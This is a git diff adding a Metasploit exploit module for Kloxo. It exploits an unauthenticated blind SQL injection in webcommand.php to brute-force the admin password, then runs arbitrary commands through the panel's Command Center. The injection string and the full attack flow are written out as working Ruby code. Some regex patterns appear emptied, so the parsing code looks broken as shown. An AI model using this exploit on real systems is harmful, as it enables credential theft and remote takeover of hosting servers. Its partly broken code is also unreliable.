diff --git a/modules/exploits/linux/http/kloxo_sqli.rb b/modules/exploits/linux/http/kloxo_sqli.rb new file mode 100644 index 0000000000..c8824fdd2e --- /dev/null +++ b/modules/exploits/linux/http/kloxo_sqli.rb @@ -0,0 +1,278 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + Rank = ManualRanking + PASSWORD_PREFIX = '__lxen:' + BASE64_RANGE = Rex::Text::AlphaNumeric + '+/=' + + attr_accessor :password + attr_accessor :session + attr_accessor :server + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Kloxo SQL Injection and Remote Code Execution', + 'Description' => %q{ + This module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, as + exploited in the wild on January 2014. The SQL injection issue can be abused in order to + retrieve the kloxo admin clear text password from the database. With admin access to the + web control panel, remote PHP code execution can be achieved by abusing the Command Center + function. The module tries to find the first server in the tree view , unless the server + information is provided, and executes the payload there. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Discovery, exploit in the wild + 'juan vazquez' # Metasploit Module + ], + 'References' => + [ + ['URL', 'https://vpsboard.com/topic/3384-kloxo-installations-compromised/'], # kloxo exploited in the wild + ['URL', 'http://www.webhostingtalk.com/showthread.php?p=8996984'], # kloxo exploited in the wild + ['URL', 'http://forum.lxcenter.org/index.php?t=msg&th=19215&goto=102646'] # patch discussion + ], + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Payload' => + { + 'Space' => 262144, # 256k + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl python gawk bash-tcp netcat' + } + }, + 'Targets' => + [ + ['Kloxo / CentOS', {}] + ], + 'Privileged' => true, + 'DisclosureDate' => 'Jan 28 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(7778), + OptString.new('TARGETURI', [true, 'The URI of the Kloxo Application', '/']) + ], self.class) + + register_advanced_options( + [ + OptString.new('SERVER_CLASS', [false, 'The server class']), + OptString.new('SERVER_NAME', [false, 'The server name']) + ], self.class) + end + + def check + return Exploit::CheckCode::Safe unless webcommand_exists? + return Exploit::CheckCode::Safe if exploit_sqli(1, bad_char(0)) + return Exploit::CheckCode::Safe unless pefix_found? + + Exploit::CheckCode::Vulnerable + end + + def exploit + fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited") unless check == Exploit::CheckCode::Vulnerable + + print_status("#{peer} - Recovering the admin password with SQLi...") + loot = base64_password + fail_with(Failure::Unknown, "#{peer} - Failed to exploit the SQLi...") if loot.nil? + @password = Rex::Text.decode_base64(loot) + print_good("#{peer} - Password recovered: #{@password}") + + print_status("#{peer} - Logging into the Control Panel...") + @session = send_login + fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{@password} failed...") if @session.nil? + + report_auth_info( + :host => rhost, + :port => rport, + :user => 'admin', + :pass => @password, + :type => 'password', + :sname => (ssl ? 'https' : 'http') + ) + + print_status("#{peer} - Retrieving the server name...") + @server = server_info + fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{Rex::Text.decode_base64(base64_password)} failed...") if @server.nil? + + print_status("#{peer} - Exploiting...") + send_command(payload.encoded) + end + + def send_login + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.to_s, 'htmllib', 'phplib', ''), + 'vars_post' => + { + 'frm_clientname' => 'admin', + 'frm_password' => @password, + 'login' => 'Login' + } + ) + + if res && res.code == 302 && res.headers.include?('Set-Cookie') + return res.get_cookies + end + + nil + end + + def server_info + + unless datastore['SERVER_CLASS'].blank? || datastore['SERVER_NAME'].blank? + return { :class => datastore['SERVER_CLASS'], :name => datastore['SERVER_NAME'] } + end + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.to_s, 'display.php'), + 'cookie' => @session, + 'vars_get' => + { + 'frm_action' => 'show' + } + }) + + if res && res.code == 200 && res.body.to_s =~ // + return parse_display_info(res.body.to_s) + end + + nil + end + + def parse_display_info(html) + server_info = {} + pos = html.index(//) + + if html.index(//, pos).nil? + return nil + else + server_info[:class] = $1 + end + + if html.index(/ /, pos).nil? + return nil + else + server_info[:name] = $1 + end + + server_info + end + + def send_command(command) + data = Rex::MIME::Message.new + data.add_part(@server[:class], nil, nil, 'form-data; name="frm_o_o[0][class]"') + data.add_part(@server[:name], nil, nil, 'form-data; name="frm_o_o[0][nname]"') + data.add_part(command, nil, nil, 'form-data; name="frm_pserver_c_ccenter_command"') + data.add_part('', nil, nil, 'form-data; name="frm_pserver_c_ccenter_error"') + data.add_part('updateform', nil, nil, 'form-data; name="frm_action"') + data.add_part('commandcenter', nil, nil, 'form-data; name="frm_subaction"') + data.add_part('Execute', nil, nil, 'form-data; name="frm_change"') + + post_data = data.to_s + post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path.to_s, 'display.php'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'cookie' => @session, + 'data' => post_data + }, 1) + end + + def webcommand_exists? + res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'lbin', 'webcommand.php')) + + if res && res.code == 200 && res.body.to_s =~ /__error_only_clients_and_auxiliary_allowed_to_login/ + return true + end + + false + end + + def pefix_found? + i = 1 + PASSWORD_PREFIX.each_char do |c| + return false unless exploit_sqli(i, c) + i = i + 1 + end + + true + end + + def bad_char(pos) + Rex::Text.rand_text_alpha(1, PASSWORD_PREFIX[pos]) + end + + def ascii(char) + char.unpack('C')[0] + end + + def base64_password + i = PASSWORD_PREFIX.length + 1 + loot = '' + + until exploit_sqli(i, "\x00") + vprint_status("#{peer} - Bruteforcing position #{i}") + c = brute_force_char(i) + if c.nil? + return nil + else + loot << c + end + vprint_status("#{peer} - Found: #{loot}") + i = i + 1 + end + + loot + end + + def brute_force_char(pos) + BASE64_RANGE.each_char do |c| + return c if exploit_sqli(pos, c) + end + + nil + end + + def exploit_sqli(pos, char) + # $1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/ == crypt(123456) + sqli = "al5i' " + sqli << "union select '$1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/' from client where " + sqli << "ascii(substring(( select realpass from client limit 1),#{pos},1))=#{ascii(char)}#" + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.to_s, 'lbin', 'webcommand.php'), + 'vars_get' => + { + 'login-class' => 'client', + 'login-name' => sqli, + 'login-password' => '123456' + } + ) + + if res && res.code == 200 && res.body.blank? + return true + elsif res && res.code == 200 && res.body.to_s =~ /_error_login_error/ + return false + end + + vprint_warning("#{peer} - Unknown fingerprint while exploiting SQLi... be careful") + false + end + +end